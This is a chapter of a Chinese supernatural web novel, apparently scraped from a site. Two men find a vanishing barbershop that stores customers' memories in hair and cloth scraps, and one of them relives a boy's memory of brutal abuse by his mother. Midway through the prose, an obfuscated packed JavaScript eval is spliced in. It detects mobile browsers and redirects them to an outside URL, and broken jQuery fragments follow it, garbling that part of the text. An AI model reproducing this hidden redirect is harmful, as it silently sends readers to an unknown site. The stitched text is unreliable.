一顿小烧烤把程砚生吃得很满足，一向失眠多梦的人，竟然一夜无梦。
转醒的时候天边刚泛起鱼肚白，他从阳台往外看，小巷子里早市已经出摊了，打眼一看，五颜六色的被子铺了两公里。
他已经不记得自己有多久没有闲下来去随意逛逛，也不记得他上次没有目的性地去做一件事是什么时候。
他的记忆里，每一天都那么忙碌，他有送不完的外卖，要处理很多无法预料的麻烦，他甚至连生病都不敢。
沉重的生活压得他喘不过气。
洗漱之后，他下楼去转转，顺便买点早餐。
隔着道就闻到了包子的香气，他顺着一个个小摊向前走，等走到最后一个摊子的时候，一抬头，总觉得眼前的地方有点眼熟，但怎么想都想不起来。
再回去时，沈清涿也刚好从卫生间洗漱出来，见他手里拎了一堆东西，顺手接过来，“怎么起这么早？”
程砚生笑笑，“忽然想去有烟火气的地方逛逛。对了，一会儿我还得再去昨晚上周绍元去的那家理发店看一看。”
沈清涿一边放碗筷一边说：“一起吧，正好我也想去买点东西。”
那家理发店的具体方位程砚生不记得，但是他记得从周绍元家走的路线。沈清涿开车带他兜了一圈，等看见早市最后一个摊子的摊主蹲在地上卷被子的时候。
程砚生：……
难怪他那会儿就觉得这地方眼熟，可是眼前分明是一片空地，根本就没有理发店。
“是不是记错地方了，你再想想？”
就算这里拆了，也不可能一夜之间就搬得这么干净。
程砚生下车转了一圈，在看见一边的电线杆子上印的偏方小广告之后，确定了这就是那个理发店。昨天他去站牌的时候路过这个已经倾斜了的电线杆，那张扎眼的深蓝色广告纸吸引了他的注意。
摊贩见一辆车始终停在他面前，上来搭话，“你俩是来买菜的？”
“是的。”
原住民的消息是最灵通的，程砚生下车，假装就是来买菜的。
摊贩嘟囔着把装菜的袋子拿下来，“你们怎么来这么晚，我这都收摊了，你看还剩这一点，你都要了我便宜卖你。”
程砚生难得体验一把土大款的感受，手一挥：“都要了。”
好几斤菜加起来才三块钱。
程砚生开始跟摊贩搭话，“几年没回来，这里的变化很大啊。”
摊贩疑惑：“大吗？也没有什么变化啊。”
程砚生：“这里我记得有家理发店，是搬迁了吗？”
“什么理发店？”摊贩皱着眉回忆，“这里这几年一直是空着的。”
说完又像是想起了什么，猛地拍了一下脑门，“你看我这记性，对，之前这里确实是一家理发店，后来关门不干了。”
“这是什么时候的事啊？”
“得有四、五年了吧。”
又是四、五年。
程砚生觉得事情没那么简单，他想在这里等等，起码等过了昨天晚上的那个时候再看。
“沈哥你有事就先去忙吧，我再等等。”
正好旁边有家五金店，沈清涿把车停在阴凉处，“没事，我去买点东西，一起等等吧。”
这么一等就是一天，一到傍晚，这座城市就像被按了停止键，街道上连车都变得很少，商家们纷纷关门回家，仿佛这里从一开始就是一座空城。
阳光洒在车上，烤得人暖洋洋的直想打瞌睡。
等再恢复意识的时候，是有一束光照在了程砚生的眼睛上，他坐起来时还有些茫然。
原本空无一物的场地不知道什么时候忽然多了一栋二层小白楼，把程砚生照醒的就是挂在门外的白炽灯。
他反应过来之后，转头叫沈清涿，“沈哥，来了。”
偌大一条街，只有这家店在营业，此时穿着白色半袖和浅色牛仔裤的年轻老板正在屋里扫地，就跟正常的理发店一模一样，但现在这个时候大家都睡着了，他在这接待鬼吗？
两人下车进屋。
挂在门上的铃铛响了一声。
老板抬头看了他们一眼，“欢迎光临，二位是理发还是染发？”
程砚生正要旁敲侧击，哪知道沈清涿一开口就是：“盒子放哪了？”
程砚生：？
人竟然可以这么活着的？
老板看起来波澜不惊，依然笑容得体，“您说什么盒子？我听不懂您在说什么。”
沈清涿也不废话，直接把他按在椅子里，另一只手拿过推子就要把他的头发剃了。
老板挣扎了一下，发现干不过沈清涿，立马说：“哎哎哎哎，别冲动，我说，我说。”
沈清涿按开推子的开关：“3。”
老板动弹不得，眼睛被勒得都快从眼眶里掉出来了，他吼道：“在墙那，在墙那。”
屋里只有一面墙，上面甚至连涂鸦都没有。
老板说：“把洗发水拿开就好了。”
程砚生过去拿洗发水，果不其然，下一秒，整面墙像推拉门似的向旁边移动，露出了藏在后面的空间。
这是一条长方形的走廊，除了两边的书架，没有任何的物品。当门完全打开后，架子上的灯泡缓缓亮起，程砚生这才看见书架上密密麻麻摆着的都是盒子，它无止境向前延伸，用肉眼根本看不到尽头。
沈清涿收起了推子，但力道没有松，他问老板：“你是谁？那些盒子是干吗的？”
老板这回是真的愣住了，他沉默了好久，然后问沈清涿，“我就一定要是‘谁’吗？”
“我真的回答不了你的问题，事实上我也不知道我是谁，我好像被困在这了，我每天睁开眼，就重复着之前的每一天做的事。”
沈清涿皱眉，“盒子是干吗的。”
老板说：“存放人的记忆的。”
沈清涿：“？”
老板：“剪掉的头发、还有裁掉的衣服，都可以读取人的记忆，所以我们会保存客人的碎片，以防万一。”
程砚生听着觉得稀奇，那这也不是理发店啊，这怎么好像还有科技的事呢？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708574|166711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他往里走，看见盒子上都贴着名签，是按照姓名首字母排序的，他一眼就看到了周绍元的名字。
程砚生抱着个盒子出来拉着沈清涿就要走。
老板低声请求，“你们可以在这看，不要带走盒子，如果丢了盒子，我会很麻烦。”
两人对视了一眼，程砚生也不想为难无辜的人，他依言去到柜台。
“只要触碰就可以读取记忆吗？”
老板已经完全放弃挣扎，“对，但如果身体太弱的话，恐怕承受不住。”
沈清涿说：“我来吧。”
他嫌人类毛发恶心，只拿起一片衣角。刚刚摸到个边，大量的画面像是泄闸的洪水倒灌进他的脑海，尽管已经做好了准备，但他还是被冲地攥紧了桌角。
画面的开头，背景音里是女人声嘶力竭的哭喊声，看起来也就四、五岁的周绍元坐在房间的角落里，冷漠地抠着地板上的污渍。
他身上全都是伤，最严重的地方是被条状物抽到皮开肉绽，因为没有及时处理，伤口已经化脓。
他像是坐累了，干脆躺到了地板上。窗外阳光很足，照在他肿得像馒头的眼睛上，这种伤的形成应该是被重物击打或者被人抓着头撞到哪里导致的。
但这一切似乎都与他无关，他抬起瘦得皮包骨的小手，缓缓伸到最强的那道光线下，慢慢张开遮住阳光。
下一秒，“咣”地一声，门被人猛地踹开，一个面黄肌瘦的女人跑了进来，她披散着的头发像黑色的海草，眼下挂着很重的黑眼圈，明显精神状态不是很好。
进屋之后她不容分说从地上把周绍元暴力拉了起来。
“你怎么这么没用？？你为什么这么没用？？你怎么连你亲爸都留不住！”她疯了似地摇晃着周绍元。
才几岁的孩子在她手里像个被拆了线的布娃娃，她再摇几下就散了。
但是周绍元只是冷漠地看着眼前的女人，不发一语，就像被虐待的人不是他一般。
女人越说越生气，一见他这样，咬紧了后槽牙，她把周绍元又扔回地上，无头苍蝇似地在屋里转着像是在找什么东西。
片刻之后，她的目光落在凌乱地茶几上。
上面随意扔着一个沾血的擀面杖，有小孩手臂那么粗。
女人拎着擀面杖，一步一步走到周绍元面前，“你太不懂事了，你真的，太不懂事了。”
她高高举起擀面杖，照着周绍元的头狠狠砸了下去。
最后一刻，沈清涿看清了女人的样貌，是那天在断崖边看着周父的女人。
见沈清涿的面色逐渐转白，程砚生不由分说把布片从他手里拽出来。
人布分离的瞬间，像是高压电的电闸被切断，几分钟之后，沈清涿的身体才慢慢放松下来。
程砚生见他状态不好，有些担心，“没事吧？”
沈清涿摇头，感觉脑浆像豆腐脑一样在头骨里晃。看了眼时间，来不及多说，他拉着程砚生就走。
“怎么了？”
沈清涿：“跟我去一个地方。”